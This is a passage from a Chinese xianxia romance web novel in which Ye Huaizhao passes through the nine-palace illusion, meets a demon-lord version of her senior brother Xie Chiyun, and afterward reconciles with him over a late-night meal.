叶怀昭有点心不在焉,她正要开口拒绝,就听“扑通”一声,岸边与她搭讪的修士重新跌进水里。 叶怀昭:“?” 她还没反应过来发生了什么,就听周围的人纷纷发出惊呼。 原本平静无波的湖水忽然掀起大浪,漩涡将水中倒映的花林虚影撕扯成碎片,翠绿色的灵力几乎在众人的头顶凝聚成雨落下,一只巨大的、周身流淌着漆黑符文的龙鱼跃出水面。 忽然出现在璇玑湖中央的白衣青年微微抬眼,而后踩着湖面,在众人的注视下一步一步走到自己师妹的面前。 叶怀昭微微睁大眼睛:“师兄,你见到仙人传承了?” 谢迟云:“嗯。” 他的身上瞧上去没有任何伤口,甚至神色上也不见疲惫。 一刻钟的时间就破开九宫幻境走出来…… 叶怀昭在心中嘀咕,果然还是乘玉仙君。 但是谢迟云按了按眉心,似乎不是很想提起自己见到的幻境。 他只道:“师妹,你有执念吗?” 叶怀昭想了想,说:“好像没有。” 虽然她想要的东西很多——她想要找回之前的记忆、想要超过庄丹雪成为同辈弟子的佼佼者,想要习得无象剑法、想要突破天罡境。 但其实这都不是执念。 因为叶怀昭理所当然地觉得,这些事情都是她最终能做到的。 她似乎没有什么一生所求而无法如愿的事情。 谢迟云看了她片刻,而后向旁让开道路。 “忘记你想要的一切,”他说,“师妹,你会见到那仙人前辈的。” 叶怀昭心中对那璇玑湖的幻境越发好奇。 若说之前只是本着“来都来了”的态度,此时她是真的被这璇玑湖挑起了兴趣。 她也没有再多问什么,而是像谢迟云那样站到湖边礁石上。 她感觉到自己的灵识几乎是瞬间便与璇玑湖有了联系,一缕温和却磅礴的陌生灵力自湖泊中央缓缓升起。 在那缕灵力与她的灵识接触那刻,叶怀昭刻意没有反抗,任由自己的意识穿过湖泊、被拉进一片虚无的幻境中。 白衣青年看着自己师妹的身影消失在原地。 他微微侧首,和再一次从水中爬出来的陌生修士对视。 那修士眼睁睁看着刚刚闯过九宫幻境的白衣修士问:“你方才,想邀我师妹去茶楼坐一坐?” 他的声音十分平缓,甚至颇有礼貌,可从湖中爬出来的修士看着他那双似乎能一眼看穿人心的浅色眼眸,却下意识地打了个寒颤。 他张张嘴,刚想解释,就又被一股熟悉又陌生的灵力拉进湖中。 隔了许久,修士哆哆嗦嗦地绕远,从湖泊另一端爬了出来。 有认识他的人嘲讽道:“方才那姑娘是今日茶楼雅座的第几位客人啊?人家师兄还在那盯着呢就敢去撩拨,不揍你揍谁。” 修士啐了一声,却阴沉着脸一句话也说不出来。 璇玑湖另一端。 谢迟云久违地拿出自己的灵盘。 他的手指轻轻摩挲着棱角分明的青铜器,忽地点开一个人的界面。 【帮我查一个人。】 那人像是时刻等候着他的联系,几乎是在谢迟云发出消息的下一刻便不停歇地说:【谁?】 灵盘的光映在男人清浅眼瞳中,像是万年无法融化的寒冰在日光下折出冷调的光。 他一个字一个字地敲出,发送。 【无相宫,宁绥。】 做完这件事后,他没有将灵盘收起,而是指腹微微使力,在些微的痛感中缓缓陷入沉思。 谢迟云知道叶怀昭的记忆在慢慢恢复。 这是件好事,但在如今这个节点上,也不算是好事。 他需要试探自己师妹的记忆究竟恢复到哪一部分。 有时候他觉得叶怀昭敏锐得像是知道了一切;可有时候他又会觉得,师妹她依旧什么也不知道。 但是她说“没有执念”…… 谢迟云松开握住灵盘的手指。 他抬起眼眸,看向叶怀昭消失的位置。 师妹的长大是与他交织而无法分离的。 他看着她第一次艰难拿剑、看她第一次小心翼翼为他人开药方、看她第一次偷溜下山被抓、看她因为怎么拒绝师弟而苦恼…… 他参与了她十八年人生中的十二年,从五岁到十八岁,只有仅仅一年的缺席。 在此时,他了解她,远远胜过她了解自己。 师妹。 谢迟云心想。 你真的觉得,自己没有任何执念吗? 第47章 第四十七章可却没有她的师兄。…… 叶怀昭转腕收剑,猩红色的血污瞬间在九宫阵图的边缘落下一长串血珠,而后缓缓消散。 她的头顶是明明暗暗连成星河的光点,数颗流星在叶怀昭自幻境中出来那刻便向下坠落,最终没入她脚下所站立的艮宫。 流星与脚下空间接触时,幽蓝色光芒瞬间让整个九宫阵图都亮了一瞬,而后光芒渐渐黯淡,只余八宫的位置在漆黑空间中散发着光亮。 叶怀昭打量着阵图边缘的幽蓝色符文,挑了挑眉。 她嘀咕一声:“好吧,算是有点意思。” 她的脚下是九宫阵图。 按照之前在外面听说的要诀,叶怀昭需要按照九星飞泊的顺序,依次将这幽蓝色灵力分割而出的九宫阵图的点亮。 点亮的方式便是破掉所处九宫的幻境。 方才的艮宫便是叶怀昭毁掉的第八宫,只要将第九宫离宫的幻境打破,她便挑战成功。 幻境中没有时间概念,叶怀昭只能摸着自己的脉搏掐算时间。 从她进入幻境到现在,应该已经过去了一刻钟。 叶怀昭开始怀疑谢迟云到底是怎么做到在这一刻钟的时间就成功破开九个幻境出去的——他告诫她忘记自己想要的,难道他就什么执念都没有? 叶怀昭对此半信半疑。 她在心中思索着如果谢迟云有执念,那执念或许是什么,一边足尖轻点,自艮宫跃到离宫。 脚下漆黑的地面忽地被幽蓝色的符文充盈,而后光芒将叶怀昭吞没。 再睁眼时,叶怀昭发觉自己正坐在暖融融的白藤交椅上,头顶温暖的日光穿过枝叶茂密的古树,在她的身上落下细细密密的光隙。 她抬起手搭在眼前遮住一点日光,微微眯起眼睛,才发觉这是又回到了西翠谷。 熟悉的草药清香在她的鼻尖萦绕,叶怀昭吸了吸鼻子,放下手微微坐直了身子。 这里是她师尊时闻筝的院子。 叶怀昭从自己师尊最喜欢的那把白藤交椅上站起来,在院中转了一圈没见到人,只好一面观察,一面向东云峰走去。 她在路上遇到一个行色匆忙的弟子。 还没等她开口,那弟子看见叶怀昭便眼睛一亮,匆匆迎了上来,张口便道:“叶掌门您怎么还在这里?各峰长老和堂主已经在议事殿候着了,就等您了!” 叶怀昭因为这个称呼本能地一怔,而后表情古怪地问:“你叫我什么?” 那弟子茫然说:“叶掌门。” 叶怀昭在心中咯噔一声,接着问:“既然我是掌门,那前任掌门去哪里了?” 弟子原本焦急的表情慢慢变得狐疑,但还是回答道:“叶仙尊也在议事殿等您……还有颂慈仙尊。” 叶怀昭在心中松了口气,说道:“我知道了,我这就去。” 说罢,她直接御风离开。 这是九宫幻境的最后一宫。 在前八宫的幻境中,叶怀昭分别经历了“喜怒哀惧爱恶欲”七种幻境以及第八宫的“虚无幻境”。 八个幻境中有三个幻境叶怀昭如愿当上了长风门掌门,但是也有四个幻境里长风门满门被灭,更有三个幻境让叶怀昭直接失去了自己的灵力修为。 这第九个幻境的开场看起来还不算最糟糕。 叶怀昭心想,长风门没灭、她当上了掌门、亲爹和师尊也没死。 所以这第九宫给她的陷阱是什么呢? 叶怀昭漫不经心地想着,很快便来到了东云峰,轻车熟路地推开议事殿大门。 殿中的争论声戛然而止,里面的人同时向她看来。 众目睽睽之下,叶怀昭淡然自若地找到记忆中本应是叶珩坐的位置,然后微微抬起下巴,诧异地反问:“怎么了?继续说啊。” 叶珩瞥她一眼。 这个眼神在叶怀昭的理解中应该是想让她有点正形,但或许是因为在外要给掌门留点面子,她亲爹没有多说什么,只是道:“该说的都说完了,该掌门来发表意见了。” 叶怀昭哪里知道他们之前在讨论什么。 她只好故作镇定问:“叶仙尊有什么意见吗?” 叶珩:“魔族做了那么多丧心病狂之事,不仅不悔改,甚至依旧派遣魔将攻打凡间城池。既然他们这样,那我们也没什么好说的。” “我的意见保持不变,应该派弟子迎战。”他声音冰冷说。 随着他的声音落下,其他人也义愤填膺地表示赞同,魔族做出的血腥事件桩桩件件地被罗列,几乎变成了一个讨伐大会。 叶怀昭没经历他们所说的事情,她的情绪还比较稳定,撑着下巴听了一会。 在众人第二次询问她的意见时,叶怀昭眨了下眼睛,偏头去看一直没有出声的时闻筝。 “颂慈仙尊意见如何?”她道。 其他人的声音渐渐降低,最终像是死寂般的沉默。 时闻筝微微掀起眼睫。 他扫了周围一圈人,而后将目光落到首位的叶怀昭身上。 “迎战固然重要,但此事的关键并不在那些依令行事的魔族,”他说,“若是想终止修真界和魔界的这场战争,需要从下令的魔君入手。” 叶怀昭觉得他说的很有理。 看样子这个幻境是以修真界和魔界彻底撕破脸为基点运转的,若是能解决战争、杀掉魔君,或许这个幻境就会崩塌破碎? 见其他人也没有反对,叶怀昭干脆直接道:“既然这样,那我们的目标便是将魔君杀掉。” 她当上了掌门,按照前八宫的惯性,想必山槐应该也成为了魔君。 虽然叶怀昭无论在现实还是幻境中都没杀过山槐,但她觉得这应该不算很难。 她一面想着山槐的成名之技,一面随口说:“那魔君如今在何处?” 议事殿中依旧嘈杂吵闹,有人在说伤亡的数字,也有人在说如何同凡间朝廷联系,吵吵嚷嚷得如同大杂烩般让人脑袋嗡嗡作响。 然而,一道声音依旧如同利刃般劈开所有杂音,瞬间让漫不经心的叶怀昭刹那间惊醒,而后一点一点僵直身体。 她听到有人说:“谢迟云那厮,此时应当在乐寿城纵情享乐吧。” 叶怀昭失手打碎了桌上的茶盏- 直到御风在前往乐寿城的路上,叶怀昭还觉得自己像是在做梦。 不,不对,她本来就是在如同梦境般的幻境。 可这个幻境究竟想让她做什么呢? 前七宫的幻境放大了她的七情,第八宫的幻境则让她失去了一切、重新找回了自己。 那么这个第九宫是以她的哪种情感来搭建的? 叶怀昭在来乐寿城之前仔仔细细地打听过这个幻境的一切。 她依旧是个修习剑术的医修,她依旧与庄丹雪常年争斗,她在问道大会中拿到魁首、并在几年后接过叶珩的掌门之位。 她过着与现实一般无二的人生,即便是未来的走向都没有任何偏差,她依旧是那个顺风顺水的叶怀昭,骄傲自信的叶怀昭。 除了她没有一个叫做“谢迟云”的师兄。 她翻遍了整个长风门,问遍了每一个弟子,所有人都在说谢迟云是弑君上位的新任魔君,说他冷情冷意、暴虐无边。 戒律堂中没有师兄为她顶替偷溜下山的禁闭记录,她的屋中没有师兄为她买的绿松石首饰,她也从未没有为某个人的生辰,特意跨越南北跑到丹河秘境寻找礼物。 这个幻境中存在谢迟云。 可却没有她的师兄。 叶怀昭出现在乐寿城的一瞬间,便立刻触发了所有警戒的阵法符咒。 魔气铺天盖地地升起,术法尽数向她袭来。 “长风门竟然还敢来人?”一个双目赤红的魔族扯了扯唇角,“可惜,来多少都只是……” 他的话音未落,一道清脆的剑鸣声便劈开血雾,剑刃直直刺入他的咽喉。 鲜血喷溅在少女的脸颊上,她却连眼睛都没有眨,另只手迅速掐诀。 漆黑的魔气中突兀涌现出一股极为强大的赤色灵力,八道流淌着赤红符文的柱子在城中凭空升 起,在刹那间勾连出一张巨大的薄红色屏障。 屏障之内的魔族在瞬息之间被抽干魔气爆体而亡,而屏障之外,少女反手将沾满鲜血的长剑抽出。 她冷冷说:“滚开。” 城门在她的身后轰然一声关闭。 本该将闯城修士斩杀在剑下的魔族在叶怀昭不记代价的自残式攻势中溃败,几乎是毫无抵抗力地被她一路杀进了城主府。 叶怀昭身上沾满鲜血,既有她的血,也有魔族的血,持剑的手几乎被鲜血浸染得握不住。 可即便如此,她的眼中依旧满是冰冷的执拗,像是根本感受不到从身体四肢乃至灵识中传来的疼痛一般。 她挥手将要斩落拦路魔族,却在刹那间感受到了前所未有的杀气,而后是一道熟悉又陌生的声音在她的身后突兀响起。 “长风门的叶仙君……竟孤身一人就敢来闯我乐寿城么?” 她本能地旋身挥剑抵挡,却依旧没能抵挡比她整整高出一境的术法攻势,硬生生被魔气振退数步,而后被人掐着脖颈,按在墙上。 叶怀昭被迫仰头,在乐寿城坍塌的半墙下,望见了一双猩红色的眼眸。 眉心一点朱红的男人微微眯着眼眸,掐住她脖颈的手指收紧,似笑非笑道:“好久不见,叶仙君。” 这是一张叶怀昭最为熟悉的脸庞。 可也是如今她最为陌生的脸庞。 她伸出手指,死死抓住玄衣魔君掐住她脖颈的手,断断续续地问:“为什么,好久不见?” 魔君似乎没想到她会说这句话。 他打量了几眼因为窒息脸上泛起不自然红晕的少女。 停顿半晌后,他才牵了牵唇角,勾起一个浅淡的笑。 他说:“在你看来我们或许是第一次见。” “不过对我来说,这是我第二次见到你了,叶仙君,”玄衣魔君微微俯身,轻声说,“第一次,是十三年前。” “我站在乱葬岗中,曾远远地见过你一眼。” 在叶怀昭微微放大的瞳孔中,他抬起手指,擦过少女脸上被划破的一道伤口。 “——而你,从头到尾都没有注意到我。”他说。 叶怀昭终于知道这个幻境的挖取了她的何种情感。 ——那是遗憾。 第48章 第四十八章最恶毒的心愿。 叶怀昭最讨厌谢迟云的时候,曾经许下此生最恶毒的一个心愿。 ——她想让谢迟云在她的世界中消失。 那年她十二岁、谢迟云十六岁。 他学会了叶珩独创的无象剑法,而叶怀昭却连剑式都没学会,每日还在苦兮兮地辨认药草。 那年很多人都对叶怀昭说,叶掌门要放弃你啦,你师兄以后会继承掌门之位,等你爹和你师尊死去,你就要被他逐出长风门、无家可归啦。 叶怀昭和所有对她说这话的人打架,几乎每天都要被关进戒律堂,跪在祖师爷的画像前,偷偷用符文咒法替自己罚抄门规。 时闻筝看不下去,特意把她亲爹拉过来,让这对父女好好谈谈。 但十二岁的叶怀昭幼稚又死脑筋,即便日日被罚,她也怎么都不愿说对一句话就能摆平事端的亲爹说明真相。 她只梗着脖子问他,你是不是后悔有我这么一个女儿? 她和叶珩吵架,和所有说她无法继承掌门之位的人吵架,竖起满身尖刺、装作毫无畏惧。 在白日,她是那个满身骄傲的长风门大小姐,脸上从未出现过一丝一毫的软弱。 只是在夜深人静的西翠谷中,在月光倾落的院中,叶怀昭会将周围落下无法被探听的阵法。 然后,一边给自己练习剑术磨破的手掌涂药,一边偷偷地抹眼泪。 她不敢哭出声,担心自己的阵法造诣不高会被旁人发现,届时传遍整个长风门,让那些流言蜚语更盛。 她咬着嘴唇,咬出血了也不在乎,任由眼泪啪嗒啪嗒地落在地上,再顺着石缝凹陷慢慢流淌,汇入池塘。 西翠谷院中的池塘,时常水盈盈的,倒映着夜空明月。 后来的某一天,她去参加长风门每月的内门弟子考核。 医修的考核在剑修之后,她刻意拖拖拉拉到了最后,才随着人潮走进习道院。 可叶怀昭还是见到了自己最不想见到的人。 她站在树下,看着在众人的欢呼声中走下习道场的少年。 日光被枝叶揉碎,细细密密的光隙落到他的肩头,熔金似的光晕淌过他轻轻抿起的薄唇,又随着下台阶的动作,而轻轻点在眉心的赤红。 他的师尊喜爱他、他的同门崇敬他……即便是外界,也总说长风门的掌门近日收了一个了不起的徒弟,小小年纪便习得无象剑法。 而叶怀昭环胸抱臂站在树下,脚下提着小石子,嘴巴不爽地瘪着,恶狠狠地盯着那个被所有人眷顾的少年。 不知是否是她眼神中的情绪过于强烈,还是谢迟云感知敏锐,少年抬首,向树下的少女看了过来。 叶怀昭先是一惊,但很快就微抬着下巴,恶狠狠地瞪了回去。 她的师兄看着她,接着微微笑了一下,眼中盈满温和的笑意。 然而叶怀昭却觉得他这个笑是优胜者对败者的挑衅。 她气得跳脚,直接对谢迟云做了一个鬼脸,同时在心中恶毒地想: 眼高于顶的男人,就该下台阶时踩空摔死! 他应该就此从她的世界中消失。 她对天道许下这个心愿。 天道或许当真听到了她的心愿,于是在谢迟云将要走下习道场最后一阶时,被他几招打下高台的对手忽地暴起,不顾督学的呵斥持剑攻了上来。 少年眼中的笑意散去,他行云流水地抽剑,旋身迎击。 刀剑相撞的清脆响声掩过叶怀昭的哼笑,她最后看了一眼嘈杂的人群,转身向另一个习道院的高台上走去。 那时的叶怀昭想要自己的心愿成真。 后来她想,摔死还是太便宜他了,他就应该永永远远活着,每天给她端茶倒水,每天早上对她说一句夸赞的话,说她才是长风门第一。 再后来叶怀昭又想,天道日理万机,若是实在繁忙,不帮她实现这个心愿也可以。 时间悄然流逝,十八岁早已凭借实力让所有人闭嘴的叶怀昭本已经忘记了自己曾许下的心愿。 可在那双充斥着杀意与说不清道不明情绪的眼眸中,她忽然回想起了自己最恶毒的心愿。 她看着自己面前熟悉又陌生的脸庞,在窒息的朦胧虚影中,心想,这就是心愿成真的一个可能吗? 蝴蝶在十三年前的柔和春日中翩然飞而起,轻轻飞过一个扎着双髻的女孩眼前。 女孩追赶着蝴蝶蹦蹦跳跳。 而在她的身后,在那幽深残败的山林墓碑中。 少年面无表情地注视着她,看着她带着柔和日光,身影渐渐消失于黄昏日暮。 叶怀昭没有在乱葬岗遇到谢迟云。 谢迟云没有让万秋遥发现自己。 她顺风顺水地长大,不被人质疑、不被人讥讽,她是长风门最名声赫赫的叶仙君,她拿到了问道大会的魁首,她成为掌门,被视为最有可能接任仙首之位的年轻修士。 没有人让她嫉妒,没有人让她茫然,没有人让她畏惧。 他们走向了另外一条、截然相反的道路- 在被窒息的黑暗吞噬的前一刻,叶怀昭脖颈间的手掌忽地一松。 混杂着血腥与硝烟气息的空气争先恐后地涌入鼻腔,少女撑着身后的断墙,咳得撕心裂肺。 隔了许久,她将喉间涌出的鲜血咽下去,抬起头。 叶怀昭黑玉般的眼眸被火光挑亮,声音嘶哑说:“怎么不杀我了?” 玄衣魔君看着她。 面前的女子孤身一人闯进乐寿城,凭借一把剑、用满身灵力杀进了城主府。 她满身染血,狼狈不堪,方才接触时也已感受到灵脉中的灵力干涸。 仅仅是一双手,便能圈出她的脖颈,让那纤细白皙的脖颈折在他的手中。 可她却毫不畏惧。 “你为什么来乐寿城?”玄衣魔君问道。 叶怀昭看着他:“魔君当真不知?” 魔君说:“你想让我知道什么?” 叶怀昭因为这熟悉的一句话而微微一怔。 她眼中的情绪细微变化本不该被所有人知道。可魔君一直在紧紧盯着她的神色变化。 他的声音平静:“你在 想谁?” 叶怀昭没有回答,他几乎是控制不止地向前几步,将她硬生生地抵在墙边,眼中是压抑的冰冷。 “没想到,叶仙君竟这般将生死置之度外,”他说,“即便在随时都有可能被杀死的如今,都有时间想其他人吗?” 叶怀昭看着他:“你在嫉妒吗?” 魔君眼中的怒火凝固。 而后,他的脸上扯出一抹冷笑,正要开口时却被叶怀昭打断了:“屠杀凡间城池,这是你下的命令吗?” 魔君深深看着她,反问道:“叶仙君以为是谁?” 叶怀昭缓缓闭了闭眼睛。 再睁眼时,她眼底深处的犹豫已经散去。 她伸出手,出乎意料地勾住男人的脖颈,弯了弯眼眸:“你想知道我为什么来乐寿城?” 她轻声说:“我是想来找你。” 魔君顺从她的力量微微俯身,在极近的距离中打量着她精致的眉眼。 她长大了一点,可眉眼间的轮廓与幼时那个追着蝴蝶离开,天真烂漫的女孩没有区别,依旧带着令人厌恶的干净柔和。 她为什么这么轻易地就放弃了所有挣扎? 她知道自己的生死在他的一念之间吗? 她对所有人都这么善良、都这么信赖、都这么轻易就敞开怀抱吗? 这个距离甚至让少女身上的草药清香透过衣衫,掩盖住血腥味,霸道地闯入他的鼻腔。 他撑在叶怀昭耳边的手指微微收紧,魔君垂着眼睫,在不知从何而起的愤怒中,压抑着,不动声色地问:“堂堂长风门掌门,来找我这个作恶多端的魔头做什么?” 她本就不该和他如此亲近。 但是,叶怀昭只是对他弯了弯唇角。 她的眼中显出谢迟云见过的,只在她面对旁人时才出现的柔和笑意,带着一点狡黠。 她勾住男人脖颈的手缓缓移开,捧着他的面颊,拇指似有似无地擦过他的唇角。 魔君拧着眉,他本想偏头躲过,却鬼使神差般地在那手指的触碰下微微顿住,心中像被一根羽毛般似有似无地轻轻拂过。 他不由自主地,将目光定在了那双带着盈盈水光,充满信赖而柔和的眼眸。 那双眼眸的主人轻轻抬首,双唇贴在他的耳边,吐息湿润暧昧。 “你不想见我吗?”她说,“师兄?” 魔君心神一怔。 几乎在同时,锋利的剑刃穿过男人的胸膛,噗嗤一声自后背露出一截沾着鲜血的剑尖。 叶怀昭被掐着脖颈狠狠摔在地上,她不受控制地喷出一口鲜血,在男人暴怒的眼神中却断断续续笑了起来。 “你看,你也想见我。” 天空被撕开一道巨大的猩红色裂口。 赤色的火焰自裂口中汹涌地倾泻而下,幻境崩塌的碎片像是流星般飞速地陨落,城中四处响起崩塌的轰鸣。 那是吞没天地的赤焰火瀑,太阳被赤色的灵力吞噬,银龙般的闪电轰隆响起,在赤光与银光交叠的瞬间,隐隐闪过一朵横贯长空的红莲。 在幻境崩塌的最后一刹,叶怀昭拼尽所有力气抓住魔君的衣领,强硬地拉他弯腰,在魔君的耳旁落下一句话。 “师兄,”她说,“如果让你消失会让你成为这样的人,那我可以勉勉强强的,接受你的存在。” “我想让你永远存在于我的世界。” 整片燃烧的天空在此时凝固。 而后,轰然倒塌。 九宫幻境外。 等在璇玑湖岸边的谢迟云忽地抬起头,若有所觉地看向湖泊的中央。 风平浪静的湖水忽地沸腾。 在众人的惊呼声中,翠绿色的湖水之下竟然开始燃烧起炽热的火焰,一波又一波的浪潮翻涌,几乎像是在水下开满了红莲。 似有火凤的清脆啼鸣自虚空中越来越清晰,万里无云的遥远天际,忽地有雷鸣声轰隆轰隆地响起。 谢迟云听到身边有人在惊呼:“是不是有人要破镜了?怎么招来天雷了!” 他没有转头,只是紧紧盯着出现在璇玑湖中央的少女。 她踩着满池燃烧着火焰的红莲,像是谢迟云方才所做的那样,一步一步地走到他的面前。 她微微抬起头,像是第一次见到他一样,认认真真地打量着男人的面庞。 谢迟云道:“恭喜师妹。” 他说着,抬起手想要替她压制身周暴动肆虐的灵力——现在可不是突破天罡境的最佳时刻。 可他的灵力还没来得及放出来,叶怀昭就凑近一步,手指轻盈地碰了一下他的眼睫。 他下意识地闭眼。 “师兄,”他听到师妹若有所思说,“我还是觉得浅色眼睛的你更好看。” ——浅色眼睛的我? 第49章 第四十九章执念 谢迟云微微眯了眯眼眸,不动声色地问:“师妹在幻境中见到什么了?” 叶怀昭像是没有发觉他藏在话语之下的试探,自顾自地向他伸出手。 她任由谢迟云帮她稳住灵力修为,嘴中嘟囔道:“见到师兄了。你一见面就和我打架,最后还掐着我的脖子把我甩飞出去。” 她抱怨说:“真的好痛。” 要不是最后见到仙人传承后,对方帮她把身上的伤口全部治好,叶怀昭绝对要狠狠骂魔君身份的谢迟云一顿。 她在心中嘀咕着,忽地想起那位仙人前辈对她说过的话。 他说她执念太深,恐对修炼不利,让她以后最好清心寡欲,否则极易被心魔吞噬,导致走火入魔。 叶怀昭对此不置可否。 只要找到了所行之道,那她就不会怀疑自己,若是坚定此路就会走火入魔,那就入魔呗,谁又说魔修不可成仙? 叶怀昭其实不觉得魔修和其他修士有什么区别,她厌恶的从来都只是草芥人命、凶残暴虐的那类人或者魔。 但毕竟是仙人前辈的告诫,她没有反驳,只是老老实实地应了下来。 但在即将离开九宫幻境时,她忽地心意一动,向那位只有朦胧虚影的仙人前辈问道:“前辈,您可还记得在我之前见到您的那位修士?” 在仙人前辈回答“记得”后,叶怀昭眨了下眼睛,问道:“那您觉得他有走火入魔的可能吗?” 沉默半晌后,仙人前辈说: “他的执念之深,远在我所见过的所有人之上。” 他没有直说,但答案已经呼之欲出。 叶怀昭微微蜷缩手指。 谢迟云在专注帮她压制灵力,垂下的眼睫在眼底落下一层黛色的阴影,因为看不见清透冷冽的眼眸,微微下垂的眼尾甚至有股无辜的意味。 她看着看着,忽然觉得气打不过一处。 他让她忘记想要的一切,让她放弃执念,结果自己还不是顶着几乎把人逼到走火入魔的执念,硬生生扛过幻境出来? 他为什么装作若无其事? 谢迟云对叶怀昭口中提到“谢迟云”的身份隐隐有所怀疑,正在思索着怎么套出“谢迟云”更多的消息,就见叶怀昭抬眼瞧了他一眼。 而后,她忽地郁闷地扭过头。 “我讨厌你,师兄。” 谢迟云:“……?” 在他怔愣时,叶怀昭已经凶巴巴地甩开他的手,沿着深色石子路向花林外走去。 被留在原地的谢迟云微微蹙眉,难得一次没理解师妹为何生气。 叶怀昭是在即将走出花林时被谢迟云拉住的。 “抱歉,师妹。”谢迟云放轻声音,对她说。 叶怀昭瞪了他一眼:“你怎么连问都不问就道歉!” “那师妹为何生气?”谢迟云从善如流问。 叶怀昭:“……” 她憋了半天 ,最后愤愤道:“我只是不想见你,又不是多么天塌的大事,你至于去当那作恶多端的大魔头吗!” 谢迟云:“师妹不想见我?” 叶怀昭:“这是重点吗?!” 眼见谢迟云启唇,叶怀昭想都不想就伸出手去捂他的嘴,恶狠狠说:“不许问为什么,不许反问我!” 她与谢迟云挨得极近,像是幻境中那位玄衣魔君一样近。 只是后者看向她的眼神过于复杂,既像是恨她恨得想要除之以快,又像是想要就着那个距离将她揉进血肉。 而前者…… 白衣青年微微弯腰,让叶怀昭可以平视他,安静地任由她捂住嘴巴,只弯了弯眉眼,清透的眼中是从未改变的柔和。 他的手指圈在叶怀昭的手腕上,大拇指擦过她的腕骨,激起她本能的颤栗。 【师妹,你见到的只是幻境。】他在心中说着,叶怀昭几乎都能脑补他温和而慢条斯理的语气。 【纵使真的成为魔君,我也永远不会对你动手的,师妹。】 叶怀昭:“……” 她的目光闪烁,像是被烫到一样猛地抽手,几步窜到一棵桃花树之后。 叶怀昭磨了磨牙,瞪着他说:“谁让你去当魔君了?不许离开长风门,等我成为掌门后老老实实听我的命令,我说向东你就不能往西,必须好好地当你的乘玉仙君当到死!” 谢迟云哑然失笑。 叶怀昭气恼得直接用术法将谢迟云身旁花树的满树花瓣都摇了下来,瞪向他:“不许笑!” 她决定了。 叶怀昭愤愤心想,管他什么动心不动心、喜欢不喜欢,她今天就要讨厌谢迟云一天,谁来劝都不管用了!- 按照原计划,叶怀昭是准备拉着谢迟云在外面玩够了再回无相宫的。 但她光在璇玑湖就花费了大量精力,还被谢迟云气得一路上都没理他,哪还记得自己之前说过的想要和他培养感情,一出花林就转身回了无相宫。 叶怀昭心中还惦记着宁绥这个公报私仇的家伙,她特意去习道院找了一圈,今日督查的仙尊不是无妄仙尊,于是宁绥也没在这里。 她出了习道院,又去内庭转了一圈,还是没找到宁绥的人影。 但她找到了周鹤亭。 少年抱着一叠文书案卷在埋头向藏书阁的方向走去,脚下刚刚迈上石阶,手上就忽地一轻。 他愣了一下抬起头,在案卷飘散的空隙中看到了一张精致明媚的熟悉脸庞。 “叶大小姐?你怎么在这里?”他下意识问。 叶怀昭手指微抬,案卷顺从地向旁飘走,露出她完整的一张脸。 “找人,”叶怀昭言简意赅说,“你知道宁绥在哪里吗?” 周鹤亭挠了挠头,不确定地说:“宁师兄?宁师兄没有在习道院吗?那他应该在和无妄仙尊在一起处理事情。” 叶怀昭“啧”了一声,小声嘀咕:“算他走运。” 她没了找人的心思,藏书阁和长风门楼院在同一方向,叶怀昭干脆带着漂浮的案卷文书和周鹤亭一同走去。 她瞥了一眼案卷上隐约露出的文字,说道:“天罗诀这么古老的咒法书,无相宫竟然也有?” 周鹤亭与有荣焉:“叶大小姐,虽然我们无相宫的修士实力比不过青冥台或是长风门,但论起藏书可是修真界第一。” 这句话他倒是没有夸大。 上到青冥台长风门这类底蕴深厚的大宗门,下到只有三两弟子的小宗门,除去传授本派心法外,所有传授通识知识的课程几乎都会选用无相宫编撰的书籍。 无相宫的仙师们或许实力并非顶尖,但著书立学的能力堪称修真界第一。 叶怀昭冷不丁说:“你知道为什么无相宫的气运一向不太好吗?” 周鹤亭一愣:“为什么?” 叶怀昭:“因为每到宗门考核的时候就会有弟子在心中骂著书之人。” 这可是来自无数宗门成百上千弟子的怨气。 周鹤亭:“……” 好有道理。 叶怀昭帮他把那些案卷文书放进藏书阁的架子上,看到这一层的架子几乎空了一半,满地都是随意摆放的书册,几乎无处下脚。 周鹤亭解释道:“这几日藏书阁在收拾旧书,准备腾出地方把禁地里面收藏的书籍放过来。” 叶怀昭:“你们禁地里面藏书?” “是啊,有些书籍不太适合弟子阅读,”周鹤亭说道,“不过因为禁地里的书实在太多了,仙尊们只好挑出了不太危险的书籍放出来。” 叶怀昭对无相宫怎么保存书籍的事情不太感兴趣,从藏书阁离开后便回了长风门的楼院。 她沐浴后直接回了自己的屋子,开始尝试着稳定自己的修为。 叶怀昭的境界本就在长风门时有所松动,只差临门一脚便能突破。 在璇玑湖九宫幻境中和谢迟云打架时,他最后是真的想要将她杀掉,于是在生死边缘激发出的求生欲几乎是瞬间就让叶怀昭放开了手脚倾泻出所有灵力。 她也成功抓住了自己曾经感受到的破镜时那虚无缥缈的一丝感觉。 叶怀昭耐下心思吐纳灵力,尝试着将灵力疏通到身体各处,开始冲击瓶颈。 她全神贯注,就连时间的流逝都没有感觉,中间似乎有人来敲了敲她的门,问她要不要吃晚饭,叶怀昭也没有任何回答,于是外面就没了动静。 直到夜深人静的时候,她才缓缓停下自己运转飞速运转的灵力。 她从床上跳下来,精神奕奕得几乎能再和谢迟云再打一架。 但没有谢迟云,她只好在原地打了一套拳法,才摸着饥肠辘辘的肚子去觅食。 无相宫的膳堂过了饭点就不供应饭菜,好在无相宫安排给长风门的楼院中自带一个小厨房,叶怀昭还能给自己做点夜宵。 她心想着随便做点面食填饱肚子就够了,刚刚迈进小厨房就看见一道熟悉的身影站在灶台前。 叶怀昭转身就想走,又被人叫住了。 “师妹,”那人在她身后说,“饭菜不小心做多了,若是师妹不来帮忙分担一下可就要浪费了。” 叶怀昭停住脚步。 半晌后。 少女坐在木桌旁,不情不愿说:“要不是为了不浪费粮食,我才不会过来。” 谢迟云将筷子递到她的手里,顺着她的话说:“师妹果真最心善了。” 叶怀昭拿着筷子扒拉了几口饭后,不得不承认谢迟云做饭比她好吃。 谢迟云也在吃饭,但他吃饭时还时不时替叶怀昭夹菜。 他夹的都是叶怀昭喜欢吃的那几道菜。 吃饱喝足后,谢迟云将碗筷收拾干净,看着明显心情好起来的叶怀昭说:“明日对决,师妹介意留出观战名额吗?” 叶怀昭看他一眼,不承认自己被哄好了,只哼了一声说:“只有一个,先到先得。” 谢迟云弯了弯眼眸。 “那我一定努力获得这个名额,”他说,“不会再让任何人抢先。” 第50章 第五十章他可是我师兄。 一连数日,谢迟云都如他所说的那样日日来看叶怀昭的对决。 